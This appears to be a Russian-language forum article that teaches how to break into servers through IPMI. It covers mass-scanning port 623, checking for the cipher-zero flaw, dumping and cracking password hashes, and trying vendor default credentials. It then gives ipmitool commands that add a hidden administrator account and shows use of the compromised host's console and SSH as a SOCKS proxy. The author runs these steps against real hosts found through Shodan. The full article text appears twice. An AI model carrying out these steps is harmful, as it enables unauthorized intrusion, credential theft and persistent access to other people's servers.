В статье будут перечислены известные методы получения доступа к IPMI, который, несмотря на распространенность, является относительно редким вектором получения SSH-шеллов, а также интересных доступов (в случае возможности взаимодействия с удаленным терминалом).
Как вы уже знаете из Wiki: IPMI (от англ. Intelligent Platform Management Interface) — интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы.
Стоит сделать ремарку, что доступ по SSH не является обязательным атрибутом каждого такого сервера с IPMI. Где-то, в довесок к IPMI, существует веб-интерфейс (иногда на нестандартных портах) для управления сервером и взаимодействия с терминалом, где-то может обнаружиться VNC-сервер, а где-то все сразу. Но о нюансах чуть позже, сначала опишем способы получения доступа к IPMI.
Итак, берем, например, Shodan, регистрируем учетную запись (необходимо для поиска по нашим критериям) и ищем по следующему запросу:
Код
port:623
Именно этот порт используется IPMI по умолчанию. Но Shodan кто только не смотрит, поэтому рекомендую взять masscan или zmap и просканировать интересующие диапазоны самостоятельно. Дополнительную информацию по массовому сканированию можно прочитать в одной из моих прошлых статей.
Собрали информацию из Shodan, просканировали нужные сети и получили список адресов, где открыт 623 порт. Что теперь?
Теперь нам понадобится Metasploit Framework или Nmap, чтобы просканировать список адресов на так называемую уязвимость Cipher zero, а также попробовать сдампить хэши пользователей IPMI (для взаимодействия с интерфейсом возможно добавить несколько пользователей с разными правами).
В Metasploit Framework нам понадобятся следующие модули:
Код
auxiliary/scanner/ipmi/ipmi_cipher_zero
auxiliary/scanner/ipmi/ipmi_dumphashes
В Nmap NSE-скрипты:
Код
ipmi-cipher-zero
Скрипт для сбора хэшей в Nmap на данный момент отсутствует, зато присутствует полезный скрипт для простого подбора учетных данных:
Код
ipmi-brute
Раз уж речь зашла о брутфорсе, то перечислим основные комбинации, которые используются производителями по умолчанию (они присутствуют в стандартных словарях Metasploit Framework):
Код
root:calvin
USERID:PASSW0RD
admin:admin
ADMIN:ADMIN
root:changeme
Также можно попробовать добавить к этому списку данные, которые использовались ботнетом Mirai (https://github.com/tennc/fuzzdb/blob/master/wordlists-user-passwd/Mirai-name-pwd/name-pwd.list), вдруг какие-нибудь не слишком известные производители используют их не только для IoT, а еще и для IPMI.
Давайте возьмем какой-нибудь хост и попробуем проверить его на уязвимость, а также получить хэши паролей для стандартных учетных записей.
Код
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS xxx.xxx.xxx.xxx
run
Я поменял количество потоков, т.к. сканирую только 1 хост. Как видите - уязвимость для моего узла не была обнаружена. Что ж, бывает. Теперь попробуем получить хэши:
Код
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS xxx.xxx.xxx.xxx
run
Нам удалось получить хэши. Хэши можно попытаться сбрутить с помощью John the Ripper или hashcat (-m 7300, IPMI2 RAKP HMAC-SHA1). Брут по rockyou не удался, поэтому я перешел к очередному хосту из выдачи Shodan, получил хэши и сразу же пароль (Metasploit в процессе дампа проверяет некоторые слабые пароли).
Проверим пароль с помощью утилиты ipmitool:
Код
ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 chassis status
ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 user list
Доступ к IPMI получен. Но что же с уязвимостью cipher zero? Давайте проверим данный хост (хотя смысла в этом нет, т.к. мы уже получили пароль) и на нее тоже. Вдруг нам повезет.
Оказывается, он также подвержен данной уязвимости. В таком случае, если бы мы установили этот факт первее, то вышеперечисленные команды можно было бы выполнить с произвольным паролем и принудительным указанием отсутствия шифрования. Пробуем:
Код
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' chassis status
Команда успешно отрабатывает. В случае наличия данной уязвимости может потребоваться добавить нового пользователя, чтобы подключаться к другим сервисам системы. Это можно сделать следующим образом:
Код
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set name 4 user123
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set password 4 1234567890
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 privilege=4
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 link=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 ipmi=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user enable 4
В примере пользователь добавляется в 4 слот, проверьте (команда user list), может быть пользователь в данном слоте уже существует.
Просканируем прочие открытые порты на данном IP, самые банальные: 22, 80, 443, 5900. Первые 3 оказываются открытыми. Начнем с 80, 443. Открываем в браузере и видим стандартный интерфейс Dell DRAC.
Попробуем зайти под учетной записью root.
Успешно зашли и теперь можем, например, выключить сервер или получить доступ к терминалу.
Перешел на виртуальную машину с Windows т.к. используется Java-клиент.
Вуаля, у нас есть доступ к консоли, причем вход под пользователем произведен. В данном случае нам немного повезло, многие вендоры выпускают проприетарные клиенты в виде нативных приложений, которые приходится дополнительно устанавливать, чтобы получить подобный доступ.
Теперь попробуем подключиться по SSH.
Удачно, но наблюдаем доступ к урезанному терминалу, который используется для управления Dell DRAC. До этого у нас был доступ к самой системе, которая установлена на хосте. Кстати, если возникнет проблема подключения по SSH с ошибкой вроде:
Код
no matching cipher found
То попробуйте подключиться, явно указав необходимые алгоритмы, иногда срабатывает, например:
Код
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oCiphers=3des-cbc [email protected]
Урезанность доступа по SSH варьируется, но как минимум, у нас есть возможность использовать систему в качестве SOCKS-прокси, что уже неплохо. Причем автоматизация процесса не составляет большой проблемы. Вдумчивое ручное изучение доступов может иногда привести в интересные сети или позволит немного заработать на HackerOne или Bugcrowd.
Как вы уже знаете из Wiki: IPMI (от англ. Intelligent Platform Management Interface) — интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы.
Стоит сделать ремарку, что доступ по SSH не является обязательным атрибутом каждого такого сервера с IPMI. Где-то, в довесок к IPMI, существует веб-интерфейс (иногда на нестандартных портах) для управления сервером и взаимодействия с терминалом, где-то может обнаружиться VNC-сервер, а где-то все сразу. Но о нюансах чуть позже, сначала опишем способы получения доступа к IPMI.
Итак, берем, например, Shodan, регистрируем учетную запись (необходимо для поиска по нашим критериям) и ищем по следующему запросу:
Код
port:623
Именно этот порт используется IPMI по умолчанию. Но Shodan кто только не смотрит, поэтому рекомендую взять masscan или zmap и просканировать интересующие диапазоны самостоятельно. Дополнительную информацию по массовому сканированию можно прочитать в одной из моих прошлых статей.
Собрали информацию из Shodan, просканировали нужные сети и получили список адресов, где открыт 623 порт. Что теперь?
Теперь нам понадобится Metasploit Framework или Nmap, чтобы просканировать список адресов на так называемую уязвимость Cipher zero, а также попробовать сдампить хэши пользователей IPMI (для взаимодействия с интерфейсом возможно добавить несколько пользователей с разными правами).
В Metasploit Framework нам понадобятся следующие модули:
Код
auxiliary/scanner/ipmi/ipmi_cipher_zero
auxiliary/scanner/ipmi/ipmi_dumphashes
В Nmap NSE-скрипты:
Код
ipmi-cipher-zero
Скрипт для сбора хэшей в Nmap на данный момент отсутствует, зато присутствует полезный скрипт для простого подбора учетных данных:
Код
ipmi-brute
Раз уж речь зашла о брутфорсе, то перечислим основные комбинации, которые используются производителями по умолчанию (они присутствуют в стандартных словарях Metasploit Framework):
Код
root:calvin
USERID:PASSW0RD
admin:admin
ADMIN:ADMIN
root:changeme
Также можно попробовать добавить к этому списку данные, которые использовались ботнетом Mirai (https://github.com/tennc/fuzzdb/blob/master/wordlists-user-passwd/Mirai-name-pwd/name-pwd.list), вдруг какие-нибудь не слишком известные производители используют их не только для IoT, а еще и для IPMI.
Давайте возьмем какой-нибудь хост и попробуем проверить его на уязвимость, а также получить хэши паролей для стандартных учетных записей.
Код
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS xxx.xxx.xxx.xxx
run
Я поменял количество потоков, т.к. сканирую только 1 хост. Как видите - уязвимость для моего узла не была обнаружена. Что ж, бывает. Теперь попробуем получить хэши:
Код
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS xxx.xxx.xxx.xxx
run
Нам удалось получить хэши. Хэши можно попытаться сбрутить с помощью John the Ripper или hashcat (-m 7300, IPMI2 RAKP HMAC-SHA1). Брут по rockyou не удался, поэтому я перешел к очередному хосту из выдачи Shodan, получил хэши и сразу же пароль (Metasploit в процессе дампа проверяет некоторые слабые пароли).
Проверим пароль с помощью утилиты ipmitool:
Код
ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 chassis status
ipmitool -I lanplus -H XXX.XXX.XXX.XXX -U root -P 123456 user list
Доступ к IPMI получен. Но что же с уязвимостью cipher zero? Давайте проверим данный хост (хотя смысла в этом нет, т.к. мы уже получили пароль) и на нее тоже. Вдруг нам повезет.
Оказывается, он также подвержен данной уязвимости. В таком случае, если бы мы установили этот факт первее, то вышеперечисленные команды можно было бы выполнить с произвольным паролем и принудительным указанием отсутствия шифрования. Пробуем:
Код
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' chassis status
Команда успешно отрабатывает. В случае наличия данной уязвимости может потребоваться добавить нового пользователя, чтобы подключаться к другим сервисам системы. Это можно сделать следующим образом:
Код
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set name 4 user123
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user set password 4 1234567890
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 privilege=4
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 link=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' channel setaccess 1 4 ipmi=on
ipmitool -I lanplus -C 0 -H XXX.XXX.XXX.XXX -U root -P '' user enable 4
В примере пользователь добавляется в 4 слот, проверьте (команда user list), может быть пользователь в данном слоте уже существует.
Просканируем прочие открытые порты на данном IP, самые банальные: 22, 80, 443, 5900. Первые 3 оказываются открытыми. Начнем с 80, 443. Открываем в браузере и видим стандартный интерфейс Dell DRAC.
Попробуем зайти под учетной записью root.
Успешно зашли и теперь можем, например, выключить сервер или получить доступ к терминалу.
Перешел на виртуальную машину с Windows т.к. используется Java-клиент.
Вуаля, у нас есть доступ к консоли, причем вход под пользователем произведен. В данном случае нам немного повезло, многие вендоры выпускают проприетарные клиенты в виде нативных приложений, которые приходится дополнительно устанавливать, чтобы получить подобный доступ.
Теперь попробуем подключиться по SSH.
Удачно, но наблюдаем доступ к урезанному терминалу, который используется для управления Dell DRAC. До этого у нас был доступ к самой системе, которая установлена на хосте. Кстати, если возникнет проблема подключения по SSH с ошибкой вроде:
Код
no matching cipher found
То попробуйте подключиться, явно указав необходимые алгоритмы, иногда срабатывает, например:
Код
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oCiphers=3des-cbc [email protected]
Урезанность доступа по SSH варьируется, но как минимум, у нас есть возможность использовать систему в качестве SOCKS-прокси, что уже неплохо. Причем автоматизация процесса не составляет большой проблемы. Вдумчивое ручное изучение доступов может иногда привести в интересные сети или позволит немного заработать на HackerOne или Bugcrowd.